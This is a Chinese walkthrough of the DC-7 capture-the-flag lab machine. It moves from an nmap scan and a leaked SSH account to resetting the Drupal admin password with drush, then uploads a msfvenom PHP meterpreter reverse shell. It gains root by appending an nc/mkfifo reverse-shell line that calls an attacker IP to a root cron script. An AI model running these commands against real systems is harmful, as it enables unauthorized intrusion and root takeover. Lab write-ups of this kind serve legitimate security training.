DC-7

1.主机发现

靶机开机后DHCP获取有ip地址

2.信息收集

端口扫描

C:\Users\ASUS>Nmap 192.168.43.111 -A -p- -oN nmap.A Starting Nmap 7.70 ( https://nmap.org ) at 2020-10-08 08:29 ?D1ú±ê×?ê±?? Nmap scan report for dc-7 (192.168.43.111) Host is up (0.00030s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA) | 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA) |_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-generator: Drupal 8 (https://www.drupal.org) | http-robots.txt: 22 disallowed entries (15 shown) | /core/ /profiles/ /README.txt /web.config /admin/ | /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ | /user/password/ /user/login/ /user/logout/ /index.php/admin/ |_/index.php/comment/reply/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Welcome to DC-7 | D7 MAC Address: 00:0C:29:64:5D:D2 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.30 ms dc-7 (192.168.43.111) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 52.81 seconds

访问web服务

发现用户信息

通过谷歌搜索查找关键内容

发现dc7user账密

SSH尝试登录

3.漏洞挖掘

查看mbox邮件内容

dc7user@dc-7:~$ cat mbox From root@dc-7 Thu Aug 29 17:00:22 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:00:22 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3EPu-0000CV-5C for root@dc-7; Thu, 29 Aug 2019 17:00:22 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3EPu-0000CV-5C@dc-7> Date: Thu, 29 Aug 2019 17:00:22 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17:15:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:15:11 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3EeF-0000Dx-G1 for root@dc-7; Thu, 29 Aug 2019 17:15:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3EeF-0000Dx-G1@dc-7> Date: Thu, 29 Aug 2019 17:15:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17:30:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:30:11 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3Esl-0000Ec-JQ for root@dc-7; Thu, 29 Aug 2019 17:30:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Esl-0000Ec-JQ@dc-7> Date: Thu, 29 Aug 2019 17:30:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 17:45:11 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 17:45:11 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3F7H-0000G3-Nb for root@dc-7; Thu, 29 Aug 2019 17:45:11 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3F7H-0000G3-Nb@dc-7> Date: Thu, 29 Aug 2019 17:45:11 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 20:45:21 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 20:45:21 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3Hvd-0000ED-CP for root@dc-7; Thu, 29 Aug 2019 20:45:21 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Hvd-0000ED-CP@dc-7> Date: Thu, 29 Aug 2019 20:45:21 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] gpg: symmetric encryption of '/home/dc7user/backups/website.tar.gz' failed: File exists gpg: symmetric encryption of '/home/dc7user/backups/website.sql' failed: File exists From root@dc-7 Thu Aug 29 22:45:17 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 22:45:17 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3Jng-0000Iw-Rq for root@dc-7; Thu, 29 Aug 2019 22:45:16 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3Jng-0000Iw-Rq@dc-7> Date: Thu, 29 Aug 2019 22:45:16 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] From root@dc-7 Thu Aug 29 23:00:12 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Thu, 29 Aug 2019 23:00:12 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3K28-0000Ll-11 for root@dc-7; Thu, 29 Aug 2019 23:00:12 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3K28-0000Ll-11@dc-7> Date: Thu, 29 Aug 2019 23:00:12 +1000 Database dump saved to /home/dc7user/backups/website.sql [success] From root@dc-7 Fri Aug 30 00:15:18 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Fri, 30 Aug 2019 00:15:18 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3LCo-0000Eb-02 for root@dc-7; Fri, 30 Aug 2019 00:15:18 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3LCo-0000Eb-02@dc-7> Date: Fri, 30 Aug 2019 00:15:18 +1000 rm: cannot remove '/home/dc7user/backups/*': No such file or directory Database dump saved to /home/dc7user/backups/website.sql [success] From root@dc-7 Fri Aug 30 03:15:17 2019 Return-path: <root@dc-7> Envelope-to: root@dc-7 Delivery-date: Fri, 30 Aug 2019 03:15:17 +1000 Received: from root by dc-7 with local (Exim 4.89) (envelope-from <root@dc-7>) id 1i3O0y-0000Ed-To for root@dc-7; Fri, 30 Aug 2019 03:15:17 +1000 From: root@dc-7 (Cron Daemon) To: root@dc-7 Subject: Cron <root@dc-7> /opt/scripts/backups.sh MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit X-Cron-Env: <PATH=/bin:/usr/bin:/usr/local/bin:/sbin:/usr/sbin> X-Cron-Env: <SHELL=/bin/sh> X-Cron-Env: <HOME=/root> X-Cron-Env: <LOGNAME=root> Message-Id: <E1i3O0y-0000Ed-To@dc-7> Date: Fri, 30 Aug 2019 03:15:17 +1000 rm: cannot remove '/home/dc7user/backups/*': No such file or directory Database dump saved to /home/dc7user/backups/website.sql [success]

查看可执行文件

发现脚本文件中drush 命令可以修改密码

drush user-password admin --password="123456"

网站有默认的admin账号，必须进入/var/www/html目录下才能使用drush命令修改密码，必须在drush环境下才能调用drush命令。

根据更改后的账号登录web站点

下载安装php模块，为了使用php代码。

URL：https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

msf生成php shell

msfvenom -o php/meterpreter/reverse_tcp LHOST=192.168.43.193 LPORT=4444 R > Billu_shell.php

MSF设置监听

msf5 exploit(multi/handler) > set lhost 192.168.43.193 lhost => 192.168.43.193 msf5 exploit(multi/handler) > set lport 4444 lport => 4444 msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp payload => php/meterpreter/reverse_tcp msf5 exploit(multi/handler) > run

 

交互式shell

shell python -c "import pty;pty.spawn('/bin/bash')"

4.提权

利用刚刚查到的backups.sh脚本文件反弹shell，因为计划任务是使用root权限执行的，所以之后使用计划任务反弹shell也会是root用户权限。

cd /opt/script echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.43.193 6666 >/tmp/f" >> backups.sh

写入计划任务进行反弹shell

nc监听

nc -lvnp 6666 python -c "import pty;pty.spawn('/bin/bash')" whoami

这个靶场加入了点社工的知识，做起来会更有趣一些。